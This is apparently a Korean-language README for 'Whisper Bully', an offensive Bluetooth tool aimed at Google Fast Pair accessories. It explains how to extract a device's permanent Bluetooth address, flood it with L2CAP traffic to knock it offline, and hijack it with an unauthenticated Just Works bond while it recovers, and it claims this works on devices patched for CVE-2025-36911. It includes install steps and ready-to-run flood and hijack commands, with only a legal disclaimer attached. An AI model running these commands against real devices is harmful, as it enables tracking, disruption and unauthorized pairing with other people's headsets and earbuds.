
3단계 Bluetooth BDADDR 추출, Fast Pair 장치에 대한 DoS 및 하이재킹; CVE-2025-36911 범위 밖의 패치되지 않은 프리미티브 (Ubertooth 불필요)
블루투스 BDADDR 추출, 서비스 거부 및 하이재킹 연구 도구
© 2026 @Ymsniper — 승인된 보안 연구 전용입니다.
Whisper Bully는 Google Fast Pair(서비스 UUID fe2c)를 광고하는 장치를 대상으로 하는 3단계 블루투스 보안 연구 도구입니다. 이 도구는 CVE-2025-36911 펌웨어 패치의 범위를 벗어나는 두 가지 미패치 공격 프리미티브를 시연합니다.
⚠️ 이 도구는 Whisper Pair(Fast Pair GATT) 프로토콜을 구현하지 않습니다. Key-Based Pairing 특성(UUID 1236) 또는 Account Key 특성(UUID 1238)에 절대 쓰지 않습니다. 여기에 설명된 공격 표면은 CVE-2025-36911 페어링 모드 검사 패치와는 별개이며 해당 패치로 해결되지 않습니다.
https://github.com/user-attachments/assets/67f2bcb6-38ad-4ba0-80c5-36dbb54f3f11
근본 원인: BLE 연결이 설정되면 Linux BlueZ 호스트 스택은 LL_CONNECTION_COMPLETE 이벤트를 처리하고 장치의 해결 가능한 개인 주소(RPA)를 영구 식별 주소로 확인하여 BlueZ 장치 테이블에 캐시합니다. 이는 GATT 서비스 상호작용 전에 링크 계층/HCI 수준에서 발생합니다. Fast Pair 프로토콜은 관여하지 않습니다.
코드가 실제로 수행하는 작업:
fe2c를 광고하는 장치에 대해 활성 BLE 스캔(BleakScanner)을 수행합니다. 대상 식별에만 사용되며 프로토콜 상호작용은 없습니다.BleakClient.connect()를 통해 일반 BLE 연결을 설정합니다. 어떤 종류의 GATT 쓰기도 없습니다.NoInputNoOutput으로 설정합니다.wb.py의 452행).bluetoothctl pair <rpa_addr>를 실행합니다. 표준 블루투스 SMP 페어링 시도이며, Fast Pair가 아닙니다.bluetoothctl의 표준 출력에서 Bonded: yes 출력을 모니터링합니다. 이 출력에는 본딩된 주소가 포함될 수 있습니다.bluetoothctl devices를 호출하고 초기 RPA와 비교합니다. 동일한 장치 이름을 가지지만 주소가 다른 항목이 있다면, 이는 2단계에서 BlueZ에 의해 유출된 영구 식별 주소입니다.패치가 이 문제를 해결하지 못하는 이유:
CVE-2025-36911 펌웨어 수정은 액세서리의 Fast Pair GATT Key-Based Pairing 특성 핸들러에 페어링 모드 검사를 추가합니다. 이 도구는 해당 특성에 절대 쓰지 않습니다. 식별 주소 누출은 공격자의 Linux 호스트에서 BlueZ 자체 장치 캐시를 통해 발생하며, 이는 전적으로 액세서리 펌웨어 외부에서 일어납니다.
주요 동작 참고 사항:
bluetoothctl pair 단계가 실패하거나 시간 초과되더라도 추출은 성공할 수 있습니다.NoInputNoOutput은 Just Works에 대해 양쪽에서 사용자 상호작용이 없음을 의미합니다.영구 주소가 알려지면, 수정된 버전의 l2flood를 사용하여 지속적인 L2CAP 서비스 거부를 선택적으로 실행할 수 있습니다.
도구 전체에서 두 가지 모드가 사용됩니다:
-R 플래그 — EMP 모드 (2단계 플러드)
무음 발사 후 망각(fire-and-forget) 버스트-재연결 방식입니다. 모든 스레드는 연결 → 버스트 → 강제 종료 주기를 동기화하여 대상이 흡수할 수 있는 지연된 L2CAP 채널 셔플링 대신 주기적인 전체 ACL 해체를 받도록 합니다. 모든 종료 시 즉각적인 RST 해체를 위해 SO_LINGER {1,0}을 사용합니다. 정상 작동 중에는 표준 출력이 생성되지 않습니다. 연결 오류는 stderr로 억제되고 주기적으로만 출력됩니다.
일반 모드 (3단계 하이재킹 프로브)
-R 없이 사용하여 대상이 여전히 응답하는지 프로브합니다. 이 모드도 개선되었습니다. 이제 자동으로 재연결을 처리하며 대상이 응답을 중단하면 no response from <addr>: id N을 출력합니다. wb.py는 이 출력을 모니터링하여 하이재킹을 트리거합니다.
결과: 플러드가 활성화된 동안 대상 장치는 정상 연결 시도에 응답하지 않게 됩니다. 공격이 중단되면 장치는 완전히 복구되며 영구적인 손상은 없습니다.
멀티스레드 동작:
근본 원인: 지속적인 L2CAP 플러드는 대상 장치의 블루투스 스택을 충돌시키거나 리셋시킵니다. 복구 윈도우 동안 — Fast Pair GATT 서비스가 다시 등록되기 전, 그리고 보안 관리자가 완전히 다시 초기화되기 전 — 장치는 일반적으로 본드를 제어하는 Fast Pair GATT 핸드셰이크 없이 NoInputNoOutput으로부터 표준 SMP Just Works 본드를 수락합니다. 결과 본드는 지속적입니다. BT 어댑터 리셋을 견디며 bluetoothctl info에서 Paired: yes / Bonded: yes를 보여줍니다.
왜 이것이 CVE-2025-36911과 별개의 발견인가:
CVE-2025-36911 패치는 FP GATT Key-Based Pairing 특성 핸들러에 페어링 모드 검사를 시행합니다. 3단계는 해당 특성을 절대 건드리지 않습니다. 본드는 FP GATT 서버가 재초기화되지 않은 윈도우 동안 SMP 계층에서 설정되므로 Fast Pair 보안 게이트에 도달조차 하지 않습니다. 완전히 패치된 장치도 이에 취약한 상태로 남아 있는데, 이는 패치가 스택 복구 중 SMP 계층에 대한 가시성이 없기 때문입니다.
코드가 실제로 수행하는 작업:
l2flood -c -1 -t 2)를 보내 장치가 응답하지 않는지 확인합니다. 출력에서 no response from <addr>: id N을 찾습니다.bluetoothctl connect <permanent_addr>를 실행합니다.NoInputNoOutput / NoInputNoOutput을 협상 → Just Works 연관 모델 → 본드 완료bluetoothctl connect가 성공 시 종료 코드 0을 반환합니다.장치 상태별 성공 확률:
| 장치 상태 | 예상 결과 |
|---|---|
| 플러드 활성 / 응답 없음 | 가장 높은 성공 — 복구 중 스택이 저하된 상태 |
| 플러드에서 복구 중 | 높은 성공 — 일시적인 SM 재초기화 윈도우 |
| 완전히 복구됨 | 낮은 성공 — 정상 보안 복원됨 |
| 전원 꺼짐 | 실패 |
| CVE-2025-36911 (WhisperPair) | 이 도구 | |
|---|---|---|
| 사용된 프로토콜 | Fast Pair GATT KBP (UUID 1236 write) | 없음 — 일반 BLE 연결만 |
| BDADDR 누출 경로 | 암호화된 KBP 알림 (BR/EDR 주소) | BlueZ RPA 해석 (LL_CONNECTION_COMPLETE 시) |
| 인증 우회 경로 | FP 페어링 모드 검사 누락 | BT 스택 복구 윈도우 중 SMP Just Works |
| 36911 수정으로 패치됨? | 예 | 아니요 |
| 패치된 장치에서 작동? | 아니요 | 예 |
| CWE | CWE-287 | CWE-200 (1단계) + CWE-362/CWE-287 (3단계) |
이것은 서비스 거부 및 무단 접근 연구 도구입니다.
소유하지 않거나 명시적인 서면 승인 없이 이 도구를 장치에 사용하는 것은 연방 범죄이며, 컴퓨터 사기 및 남용 법률(18 U.S.C. § 1030) 및 기타 관할권의 동등한 법령에 따라 징역 및 벌금에 처해질 수 있습니다.
다음 장치에서만 이 도구를 사용할 수 있습니다:
bluetoothctl 및 원시 BLE 접근에 필요)bluetoothctl / BlueZ installed and functionall2flood — kovmir/l2flood 참조Ubuntu / Debian:
sudo apt update
sudo apt install -y python3 python3-pip libdbus-1-dev libglib2.0-dev bluez
Fedora / RHEL / CentOS:
sudo dnf install -y python3 python3-pip dbus-devel glib2-devel bluez
Arch Linux:
sudo pacman -S python python-pip dbus glib bluez
Alpine Linux:
apk add --no-cache python3 py3-pip dbus-dev glib-dev bluez bluez-openrc
openSUSE:
sudo zypper install -y python3 python3-pip dbus-1-devel glib2-devel bluez
Void Linux:
sudo xbps-install -S python3 python3-pip dbus-devel glib-devel bluez
git clone https://github.com/Ymsniper/Whisper_Bully.git
cd Whisper_Bully
pip3 install -r requirements.txt
# Required for Stage 2/3 only:
make
sudo make install
# Auto-detect and extract all nearby Fast Pair devices
sudo python3 wb.py
# 20 second scan, save results
sudo python3 wb.py -s 20 -o targets.json
# 30 second scan, custom output file
sudo python3 wb.py -s 30 -o extracted.json
참고: 장치가 이 도구나 수동으로 이전에 연결 또는 페어링된 경우, BlueZ는 이미 해당 장치의 식별 주소를 알고 있습니다. 추출이 깔끔하게 실행되도록 먼저 제거하세요:
sudo bluetoothctl remove <address>
sudo python3 wb.py -s 20 -o targets.json
# At completion: "Run aggressive L2CAP test... (yes/no)" → yes
# Stage 1 + Stage 2 only
sudo python3 wb.py -s 20 -o targets.json --aggressive
# Stage 1 + Stage 2 + Stage 3
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack
# With duration and thread count
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -d 120 -t 8
# Flood from extracted targets file for 120 seconds
sudo python3 aggressive_test.py -f targets.json -d 120 -t 4
# Flood a single known address for 60 seconds
sudo python3 aggressive_test.py AA:BB:CC:DD:EE:FF -d 60
# Flood forever (Ctrl+C to stop)
sudo python3 aggressive_test.py AA:BB:CC:DD:EE:FF -f
# Integrated — extract, flood, then hijack
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -d 120
# Manual standalone hijack on known address
sudo python3 wb.py -H AA:BB:CC:DD:EE:FF
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -d 120 -t 4
실행 흐름:
targets.json에 저장# Terminal 1
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -i hci0 -d 120 -t 4 &
# Terminal 2
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -i hci1 -d 120 -t 4